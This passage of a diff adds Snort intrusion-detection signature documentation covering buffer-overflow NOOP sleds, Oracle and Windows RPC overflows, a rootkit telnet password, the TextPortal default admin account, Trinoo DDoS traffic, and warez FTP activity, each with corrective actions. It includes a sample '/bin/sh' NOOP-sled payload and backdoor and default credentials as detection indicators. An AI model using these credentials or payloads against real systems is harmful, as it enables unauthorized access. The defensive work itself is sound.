+Sourcefire Research Team
+Brian Caswell <bmc@snort.org>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+cve,CAN-2002-0724
+
+Microsoft:
+url,www.microsoft.com/technet/security/bulletin/MS02-045.asp; 
+url,www.corest.com/common/showdoc.php?idx=262; 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1394.txt
+++ snort-2.8.5.2/doc/signatures/1394.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+
+1394
+
+--
+Summary:
+This event is generated when an attempt is made to possibly overflow a buffer.
+
+The NOOP warning occurs when a series of NOOP (no operation) are found in a stream. Most buffer overflow exploits typically use NOOPs sleds to pad the code.
+
+--
+Impact:
+
+This might indicate someone is trying to use a buffer overflow exploit. 
+
+Full compromise of  system is possible if the exploit is successful.
+
+--
+Detailed Information:
+This rule detects a large number of consecutive NOOP instructions used in padding code. It's not specific to a particular service exploit, but rather used to try and detect buffer overflows in general. It is common for buffer overflow code to contain a large sequence of NOOP instructions as it increases the odds of successful execution of the useful shellcode. 
+
+--
+Affected Systems:
+
+	Any x86 programs.
+
+--
+Attack Scenarios:
+An attacker uses a buffer overflow exploit which contains the following payload:
+
+	90 90 90 90 90 90 90 90 90 90 /bin/sh
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+High, This event may be generated by applications such as ftp and http 
+when binary data is being transfered. 
+
+A false Positive can be generated if the snort sensor detects text from an IRC
+client or any other application that passes data plaintext. The event is
+generated if snort detects several (a) characters in a row - such as
+'aaaaaaaaaa'.
+
+--
+False Negatives:
+
+None known
+
+--
+Corrective Action:
+Apply a non-executable user stack patch to your kernel
+
+Secure programming/execution of a program
+
+Check the destination host and service to verify if any buffer overflow vulnerability exists.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/219.txt
+++ snort-2.8.5.2/doc/signatures/219.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+219
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Telnet server using the phrase "StoogR". This is a known password for 
+the HidePak rootkit.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects UNIX operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2258.txt
+++ snort-2.8.5.2/doc/signatures/2258.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft Windows Messenger service.
+
+--
+Impact:
+Serious. Denial of Service (DoS), execution of arbitrary code is
+possible.
+
+--
+Detailed Information:
+Due to improper length validation in the Microsoft Windows Messenger
+service, it may be possible for an attacker to overwrite portions of
+memory. This can result in the attacker being presented with the
+opportunity to execute code of their choosing. Under some circumstances
+a Denial of Service condition may be possible against the target host.
+
+Specifically, this vulnerability may present the attacker with the
+opportunity to execute code with the privileges of the local system
+account with full access to all resources on the target host.
+
+--
+Affected Systems:
+	Microsoft Windows NT Workstation 4.0, Service Pack 6a
+	Microsoft Windows NT Server 4.0, Service Pack 6a
+	Microsoft Windows NT Server 4.0, Terminal Server Edition, Service Pack 6
+	Microsoft Windows 2000, Service Pack 2, Service Pack 3, Service Pack 4
+	Microsoft Windows XP Gold, Service Pack 1
+	Microsoft Windows XP 64-bit Edition
+	Microsoft Windows XP 64-bit Edition Version 2003
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2003 64-bit Edition
+
+--
+Attack Scenarios:
+The attacker may use one of the available exploits to target a
+vulnerable host.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+Disable the Windows messenger service
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/575892
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-043.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2145.txt
+++ snort-2.8.5.2/doc/signatures/2145.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid: 2145
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in the php application TextPortal. 
+
+--
+Impact:
+Potential administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to supply a known default administrator password for the php application TextPortal.
+
+The default administrator account 'god2' has known, weak passwords that could be used by an attacker to gain unauthorized access to the application.
+
+
+--
+Affected Systems:
+Any host using TextPortal.
+
+--
+Attack Scenarios:
+An attacker can log in to the application using the account god2 and gain administrator access to the site.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Disable the god2 account.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/7673
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2916.txt
+++ snort-2.8.5.2/doc/signatures/2916.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2916
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure unregister_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/232.txt
+++ snort-2.8.5.2/doc/signatures/232.txt
@@ -0,0 +1,70 @@
+Rule:
+--
+Sid:
+232
+
+--
+Summary:
+This event is generated when a pong packet for the Trinoo (aka trin00) 
+DDos suite is detected.
+
+--
+Impact:
+This may indicate a compromised system or be the prelude to a
+Distributed Denial of Service (DDoS) attack.
+
+--
+Detailed Information:
+Once a Trinoo client has been installed on a compromised machine and a master is
+ready and listening, the master sends a "png" (ping) command to its drones in 
+an attempt to enumerate the drone network. A functioning client will respond to 
+port 31335/udp with the text "PONG".
+
+Once a machine becomes part of a trin00 network, a Denial of Service (DoS) 
+is typically initiated against one (or more) victim machines.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+As part of a large scale attack against a machine or a network, an
+attacker will compromise large numbers of machines which will form the
+army that the trin00 master daemon will command.  The master daemon
+typically instructs the clients to send mass-quantities of packets to
+a set of victim hosts.  If the traffic is sufficient, the victim
+machines will become resource deprived and thus endure a DoS condition.
+
+--
+Ease of Attack:
+Simple. Trinoo client and master programs are widely available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disconnect infected machine(s) from the network immediately.
+
+Use software to determine if a host has been compromised using a
+rootkit.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+SANS:
+http://www.sans.org/newlook/resources/IDFAQ/trinoo.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1979.txt
+++ snort-2.8.5.2/doc/signatures/1979.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1979
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/901.txt
+++ snort-2.8.5.2/doc/signatures/901.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+901
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2649.txt
+++ snort-2.8.5.2/doc/signatures/2649.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2649
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+
+An attacker can attempt to connect to a database using an overly
+long service_name value. This can cause a buffer overflow, allowing
+an attacker to execute arbitrary code.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+       Oracle7, Oracle8, Oracle8i, and Oracle9i
+
+--
+Attack Scenarios:
+An attacker can attempt to connect to a database supplying the
+service_name an overly long value.  The result could permit the
+attacker to gain escalated privileges and run code of their
+choosing.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck52.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2395.txt
+++ snort-2.8.5.2/doc/signatures/2395.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2395
+
+--
+Summary:
+This event is generated when an attempt is made to view a URL with the string "InteractiveQuery.jsp" in the name.
+
+--
+Impact:
+Successful cross-site scripting attacks generally target the users of
+your web site. Attackers can potentially gain access to your users'
+cookies or session ids, allowing the attacker to impersonate your
+user.
+
+--
+Detailed Information:
+BEA WebLogic supplies a CGI script InteractiveQuery.jsp that may be susceptible to cross-site scripting.  The vulnerability
+occurs because of improper sanitizing of data to the argument 'person'.  This may permit malicious code to be executed when
+a user visits a vulnerable site.
+
+--
+Affected Systems:
+BEA WebLogic 8.1 and earlier versions.
+
+--
+Attack Scenarios:
+An attacker can lure a user to a website that is vulnerable, perhaps permitting the malicious code to be executed on the user's host.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Remove the InteractiveQuery.jsp script or move it from the server's CGI path.
+
+Upgrade to the latest non affected versions of the software.
+
+Configure the web browser to not allow the execution of code.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak<judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/8938
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0624
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2895.txt
+++ snort-2.8.5.2/doc/signatures/2895.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2895
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_varchar2
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/897.txt
+++ snort-2.8.5.2/doc/signatures/897.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+897
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1585.txt
+++ snort-2.8.5.2/doc/signatures/1585.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1585
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2408.txt
+++ snort-2.8.5.2/doc/signatures/2408.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+2408
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000118.txt
+++ snort-2.8.5.2/doc/signatures/100000118.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+100000118
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a buffer overflow 
+present in Internet Explorer's urlmon.dll file.
+
+-- 
+
+Impact: 
+An attacker may execute arbitrary commands with the privileges of the user 
+running Internet Explorer.
+
+--
+Detailed Information:
+If a web server sends data with a Content-Type value of 300 or more bytes, a 
+buffer overflow is triggered, and commands may be executed with the privileges 
+of the user running Internet Explorer.
+
+--
+Affected Systems:
+Internet Explorer 5.0.1
+Internet Explorer 5.0.1 SP1
+Internet Explorer 5.0.1 SP2
+Internet Explorer 5.0.1 SP3
+Internet Explorer 5.5
+Internet Explorer 5.5 SP1
+Internet Explorer 5.5 SP2
+Internet Explorer 6.0
+Internet Explorer 6.0 SP1
+
+--
+
+Attack Scenarios: 
+An attacker must entice a user to click on a link to a properly configured 
+server, which will return the necessary data.
+
+-- 
+
+Ease of Attack: 
+Medium. An attacker must control a properly configured web server, and entice 
+users to click on a link to that server.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Apply the latest patches for Internet Explorer from Microsoft.com.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2436.txt
+++ snort-2.8.5.2/doc/signatures/2436.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+2436
+
+--
+Summary:
+This event is generated when an attempt is made to access a file type
+that may be subject to a known vulnerability in Microsoft Windows Explorer.
+
+--
+Impact:
+Denial of Service (DoS) possible execution of arbitrary code.
+
+--
+Detailed Information:
+When processing Windows Extended Metafile Format (.emf) files, Windows
+Explorer sets a buffer size based on information in the header for the
+file. If a malformed header is sent, it may be possible for an attacker
+to cause a DoS condition to occur. It may also be possible for an
+attacker to execute code of their choosing on a vulnerable host.
+
+This issue may also affect Microsoft Windows Metafile Format (.wmf)
+files also.
+
+--
+Affected Systems:
+	Microsoft Windows XP Home, Professional and Media Center Edition
+	Microsoft Windows XP Home and Professional SP-1
+
+--
+Attack Scenarios:
+An attacker might supply a specially crafted request for such a file
+that might cause the error condiion to occur.
+
+--
+Ease of Attack:
+Moderate/Difficult
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3430.txt
+++ snort-2.8.5.2/doc/signatures/3430.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3430
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/545.txt
+++ snort-2.8.5.2/doc/signatures/545.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid: 
+545
+
+--
+Summary: 
+This event is generated when an attempt is made to navigate in an FTP sessions to a hidden directory named "/ ".
+
+--
+Impact: 
+Unauthorized file storage.  An attacker may attempt to navigate on an FTP server to the "/ " directory to list or store unauthorized files such as unlicensed software.
+
+--
+Detailed Information: 
+An attacker may attempt to hide unauthorized files in a hidden directory named "/ ".   This hidden directory is hard to discover, permitting attackers to store unauthorized "warez" files, such as unlicensed or pirated software. 
+
+--
+Affected Systems: 
+FTP servers
+
+--
+Attack Scenarios: 
+An attacker may navigate to the hidden directory named "/ " to list or store unauthorized files.
+
+--
+Ease of Attack: 
+Simple.
+
+--
+False Positives: 
+It is remotely possible that an authorized directory exists named "/ ".
+
+--
+False Negatives: 
+Hidden directories other than those named "/ " may be used to store "warez" files.
+
+--
+Corrective Action: 
+Assign restrictive permissions to all directories so unauthorized users cannot navigate or write to them.
+
+Regularly monitor directories for sudden or drastic increased use of space.
+
+--
+Contributors: 
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3218.txt
+++ snort-2.8.5.2/doc/signatures/3218.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3218
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1445.txt
+++ snort-2.8.5.2/doc/signatures/1445.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1445
+
+--
+
+Summary:
+This event is generated when an attempt is made to retrieve a file 
+called 'file_id.diz'
+
+--
+
+Impact:
+Such files are sometimes used on 'warez' sites to describe the contents 
+of a directory
+
+--
+
+Detailed Information:
+A lot of warez sites use small files called 'file_id.diz' to 
+describe the name of the release and the group which released the 
+software/material.
+
+--
+
+Affected Systems:
+Machines running ftp servers.
+
+--
+
+Attack Scenarios:
+After finding a ftp server containing illegal contents, the user 
+downloads the file 'file_id.diz' to verify the contents of a directory, 
+and then, if if the attacker chooses, other files in that directory.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+Many shareware/freeware sites also use the 'file_id.diz' files to 
+describe the contents of their packages.
+
+--
+
+False Negatives:
+Warez sites might not use 'file_id.diz' files to describe the 
+directories, or might rename them.
+
+--
+
+Corrective Action:
+Verify the location and contents of the 'file_id.diz' files on your ftp 
+server and take appropriate action.
+
+--
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+--